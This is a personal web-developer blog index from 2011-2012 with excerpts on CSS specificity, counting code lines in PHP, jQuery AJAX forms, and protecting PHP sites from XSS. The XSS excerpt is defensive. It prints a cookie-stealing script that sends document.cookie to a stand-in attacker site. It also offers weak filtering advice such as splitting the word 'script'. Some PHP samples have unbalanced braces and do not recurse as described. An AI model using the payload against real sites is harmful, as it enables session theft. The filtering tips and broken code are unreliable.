Free Your Imagination | Jason T. Stiles, Web Developer and Enthusiast

Back into blogging

Thu, 26 Jan 2012 21:01:12 EST

I know it's been a while since I've had an update on this site, but rest assured... updates are forthcoming! But before they do, I will be in the process of transferring my domain, my hosting account, all my files, and creating a new design before February's end so February's going to be a little hectic! However, I'll see if I can get some new material up during that month.

Here are some topics I am thinking about:

Site Optimization
jQuery
jQuery UI
Dojo
Clojure
Coding Best Practices

If there is anything you are interested in learning from me, let me know in the comments! I can be pretty accomodating (when I want to be)...

Click to Read the Full Article

A Primer to CSS Specificity

Tue, 16 Aug 2011 21:08:01 EDT

CSS Specificity is the weight (and value) a web browser gives to a particular CSS rule. Browsers give preference to rules which have a higher weight (the fatter the better!). Rules that have a higher weight will overwrite rules that have a lower weight. Let's take a look at a simple example below.

A Simple Example of CSS Specificity

div {
    background: #0000FF; /** blue */
    height: 100px;
    width: 100px;
}

div.red {
   background: #FF0000; /** red */
}

In the code above there are two CSS rules defined: one for div (all divs in fact!) and another for divs that have a class of 'red'. When applied to a web page, all divs on the page would have a width and height of 100px (a square!) and a background of blue. However, any divs on the page that have a class of 'red' would have a red background instead of blue. Why? Because the divs that have a class of 'red' have a higher CSS specificity (more weight = more specific = more lovin' by the browser!).

How To Calculate The Weight of a CSS Rule

This actually isn't too bad to remember, and to be honest, I have never had to calculate the weight of any of my rules to see if there was a problem on my page, I have a trick to that which you can read about below, but before we get there, let's cover how to calculate the weight:

1000 points for inline styles
100 points for IDs (i.e. #myDiv)
10 points for Classes (i.e. div.red), attributes (i.e. input[type='text']) and pseudo-classes (i.e. :hover, :focus, etc)
1 point for Elements (i.e. p, div, etc) and pseudo-elements (i.e. :before and :after)
0 points for universal selectors (i.e. *, body *)

So in our example above, the first rule would have a weight of 1 (just one element specified). The second rule would have a rule of 11: one element (+1) and one class (+10). Let's move on to a crazier example by expanding from our first example above.

Click to Read the Full Article

Count the Lines of Code in your Web Application with PHP

Wed, 15 Jun 2011 14:06:39 EDT

Have you ever wanted to know how many lines of code your web application consists of? I have. To find out, I created a recursive function in PHP to count the number of lines in files relating to my web application. Since your entire web application is likely to reside under one directory (that's the assumption I use in this article), we can count the number of lines in each file, and disinclude any files that don't have the file extensions we're looking for. For example, the system that powers my website is built with PHP, HTML, JavaScript, and CSS so I'm only going to be counting the lines in files that match these extensions: .php, .html, .js, and .css. Easy! Let's get started...

Step 1: Creating the readDirectories() Function

Since it is likely that you have multiple files in multiple directories, we need a function to read in a listing of directories contained in our root directory so that we can read the files in each of those directories (and their sub-directories) as well.

/**
* Method: readDirectories
*	Purpose: Recursively read directories
*	@param $root - the Root Directory Path
*	@param $array - an array containing the currently read directories
*/
function readDirectories($root, $array = array()) {
    if(is_dir($root)) {
        if($handle = opendir($root)) {
            while(false !== ($file = readdir($handle))) {
                if($file == "." || $file == "..") continue;
                    if(is_dir($root . "/" . $file)) {
                        array_push($array, $root . "/" . $file);
                    }
                }
            }
        }
    }
	
    return $array;
}

This function takes two arguments: $root and $array. It returns the $array variable containing whatever is currently inside it along with all the names of the directories specified in $root. Pretty simple, but we also need to read all the files contained in each directory.

Step 2: Creating the readFiles() Function

As you can see below, the readFiles() function takes in two arguments: $root (the directory path to read files from) and $array. The function returns $array containing whatever it had in it before plus all the files it discovered when reading the directory path specified in $root.

/**
* Method: readFiles
*	Purpose: Recursively read files in a directory
*	@param $root - the Root Directory Path
*	@param $array - an array containing the currently read files
*/
function readFiles($root, $array = array()) {
    if(is_dir($root)) {
        if($handle = opendir($root)) {
            while(false !== ($file = readdir($handle))) {
                if($file == "." || $file == "..") continue;

                if(!is_dir($root . "/" . $file)) {
                    array_push($array, $root . "/" . $file);
                }
            }
        }
    }
	
    return $array;
}

Now that we've built the pre-requisite functions for reading directories and files, we can finally get to the real meat of the article which is counting the lines in our web application!

Click to Read the Full Article

How To Protect Your Site From XSS With PHP

Wed, 08 Jun 2011 07:06:22 EDT

Cross-Site Scripting (XSS) is a type of attack where a hacker attempts to inject client-side scripting into a webpage that others are able to view. The attack could be as simple as an annoying alert window or as sophisticated as stealing a logged in user's credentials (commonly saved in browser cookies). With a user's credentials, a hacker could gain access to sensitive parts of your website or web application. In this simple guide, I'll show you a few ways to protect your website from XSS with PHP.

The Basics Of An XSS Attack with Example

If you allow user input on your site or application (like comments, forums, etc), you could be the target of an XSS attack. The hacker's goal is to submit a comment, forum post, etc with JavaScript code inside and have it executed on the web page. Since these types of user input can immediately be displayed to other user's, the attack could be spread pretty quickly and even without your knowledge. For an example, we'll use comments on my website:

Let's say some hacker comes along (his name is John) and submits a comment with <script>alert('XSS!');</script> in the body of the comment. When John refreshes the page, he sees an alert message pop up that says "XSS!". His attack worked!

All John does in this example is create an annoyance to users; he doesn't actually steal any information. However, since that attack went through so easily, John may be thinking of other things he could do like stealing cookies! In JavaScript, cookies are accessible from the document object (i.e. document.cookie). John could easily send any cookies, of users that visit the page his comment is posted on, to his website by posting the following in the body of the comment form:

<script>document.write("<img src='http://johns-site.com/?cookies='"+document.cookie+"' style='display:none;' />");</script>

Why does that work? When your browser visits a webpage, it downloads any images. If the SRC attribute of an image points to something like the above, your browser will execute it. If John receives cookies that are used to validate a user login, he could use those cookies to gain access to, perhaps, an administrative control panel and do even more damage! Also notice that he set the display property of that element to "none", this makes it so users can't see the image. John could post a valid comment about the article and execute that script without anyone knowing what he's doing! The rule of thumb here is to NEVER TRUST USER INPUT!

How To Filter Out XSS Using PHP

PHP has a couple different functions you can use to filter user input, namely: htmlentities() and strip_tags().

The htmlentities() function translates all applicable characters to their html entity counterparts. For example, using this function < would become < and > would become > (i.e. <script> would become <script>). This function is good for escaping data and might prevent some types of attack, but not all (thanks to IE6). When using the htmlentities function, make sure the second argument is set to ENT_QUOTES, like this:

htmlentities("<script>alert('XSS!');</script>", ENT_QUOTES);

You could use PHP's strip_tags() function to remove any HTML tags, but even this still won't prevent all types of XSS attacks (thanks to hyperlink vulnerabilities - a hacker doesn't need to use the <script> tag in hyperlinks to get JavaScript to execute). So what can you do? You can use PHP to search for "script" and replace it with scri<b></b>pt. Cutting up the code like this will prevent it from executing while still displaying the output.

Click to Read the Full Article

How To Submit a Form with jQuery and AJAX

Wed, 01 Jun 2011 13:06:05 EDT

HTML forms make up a large part of the web. They are the primary method for retrieving input from users. Typically, you fill out the form, click the submit button, and be redirected to a thank you page. For web applications, this may not be ideal - you may not want the user to leave the page. In this article, I'll show you how to use jQuery's AJAX function to submit a form asynchronously to the server and avoid a redirect.

A Simple Contact Form

Here's an example of a simple contact form (fyi: submitting it won't do anything yet). We'll be submitting this form via AJAX with jQuery.

Here's the code for the form:

<form id="ContactForm">
    Your Name: <input type="text" name="name" value="" /><br /> 
    Your Email: <input type="text" name="email" value="" /><br /> 
    Your Message:<br /> <textarea style="width: 200px; height: 100px;" name="message"></textarea> 
    <br /><br /> 
    <input type="submit" name="submit" value="Submit" /><br />
    <div class="form_result"> </div>
</form>

Notice that I gave my form tag an ID of "ContactForm". We'll need this later so that jQuery can find and retrieve all the data contained in the form. Additionally, I've included a div element to which we will dynamically update with the response from the server. The div has a class of 'form_result' that we can use to tell jQuery where the response from the server should be output to. The reason I'm using a class identifier here instead of giving the div an id attribute is because on very large forms, you may want the result of the form to be shown at the very top of the form as well as the bottom. With jQuery, we can select and update multiple elements with the same class. However, we can only update one element with the same id.

jQuery's AJAX Function

The syntax for jQuery's ajax function looks like this:

jQuery.ajax(url, [settings]);

A complete reference to this function can be found by clicking on this link:jQuery's AJAX function. There are numerous settings available to use with this function, but we're only going to be using a handful. We'll discuss each setting briefly here:

url: set this to the URL the form will be submitted to (you'll probably want to put in the URL to your form handler). We'll be setting ours to jQuery-ajax-demo.php for demonstration purposes.
type: this is the method type for the form; set it to POST or GET. In our case, we'll be using POST.
data: this is the data you'll be submitting; it's a standard query string that you typically see after a domain name in the browser's address bar. You'll see that for the most part, jQuery will create the query string for us.
success: you can set this to a single callback function, or as of jQuery 1.5 - an array of functions. We'll be setting ours to a single callback function that accepts the response from the server (first parameter of the callback function).

Let's see what a call to jQuery's AJAX function would look like for our demo:

$.ajax({type:'POST', url: 'jQuery-ajax-demo.php', data:$('#ContactForm').serialize(), success: function(response) {
    $('#ContactForm').find('.form_result').html(response);
}});

As you can see, we are setting the 'type', 'url', 'data', and 'success' settings of jQuery's AJAX function. In the 'data' setting, we're using jQuery's serialize() function by supplying the id of the form as the context.

jQuery's serialize() function looks at every field in the supplied context and creates a string of key-value pairs. The 'name' attribute of each of the fields in the form are used as the keys while the actual data contained in the fields become the values. So for example, in the form we created above, our query string (the result of the serialize function) might look like this:

name=Jason&email=me%40example.com&message=hey+what's+up%3F

That's if I submitted the form with Name set to "Jason", Email set to "me@example.com", and Message set to "hey what's up?". The serialize() method also encodes the data so it can be easily transmitted to the server.

We now have everything we need to submit the form to the server, but we do not have a form handler yet that will intercept the data and do something with it.

Click to Read the Full Article